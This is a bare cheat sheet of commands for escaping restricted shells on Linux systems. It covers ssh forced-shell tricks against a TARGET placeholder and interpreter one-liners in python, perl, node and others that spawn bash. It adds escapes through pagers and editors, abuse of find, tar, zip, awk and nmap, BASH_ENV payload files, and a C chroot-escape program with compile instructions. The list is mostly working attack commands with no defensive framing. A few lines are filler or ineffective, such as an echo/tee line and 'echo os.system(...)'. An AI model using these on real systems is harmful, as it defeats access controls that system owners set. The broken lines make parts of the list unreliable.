Restricted Shell Escape

echo $SHELL
echo $0
env

ssh user@TARGET -t "bash --noprofile"
ssh user@TARGET -t "/bin/bash"
ssh user@TARGET -t "sh"

ssh user@TARGET -t "/bin/sh"

bash
/bin/bash
/bin/sh
sh

cp /bin/bash .
./bash

python3 -c 'import os; os.system("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

perl -e 'exec "/bin/bash";'

ruby -e 'exec "/bin/bash"'

lua -e 'os.execute("/bin/bash")'

php -r 'system("/bin/bash");'

node -e 'require("child_process").spawn("/bin/bash",{stdio:[0,1,2]})'

vi
:set shell=/bin/bash
:shell

vi
:!/bin/bash

ed
!/bin/bash

Ctrl+R → Ctrl+X → /bin/bash

less /etc/passwd
!/bin/bash

more /etc/passwd
!/bin/bash

man man
!/bin/bash

awk 'BEGIN {system("/bin/bash")}'

find / -exec /bin/bash \;

nmap --interactive
!sh

ftp
!/bin/bash

gdb -q
!bash

zip /tmp/a.zip /tmp/a -T --unzip-command="sh -c /bin/bash"

tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

expect -c 'spawn /bin/bash; interact'

echo "data" | tee /tmp/output.txt

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

BASH_CMDS[a]=/bin/bash
a
export PATH=$PATH:/bin:/usr/bin

cp /bin/bash /tmp/bash
/tmp/bash

export BASH_ENV=/tmp/payload.sh
# payload.sh contains: /bin/bash

ENV=/tmp/payload.sh sh

echo os.system('/bin/bash')

echo $(bash)

? () { /bin/bash; }; ?

#include <unistd.h>
#include <sys/stat.h>

int main() {
    mkdir("chroot_escape", 0755);
    chroot("chroot_escape");
    for (int i = 0; i < 100; i++) chdir("..");
    chroot(".");
    execl("/bin/bash", "bash", NULL);
}

gcc escape.c -o escape && ./escape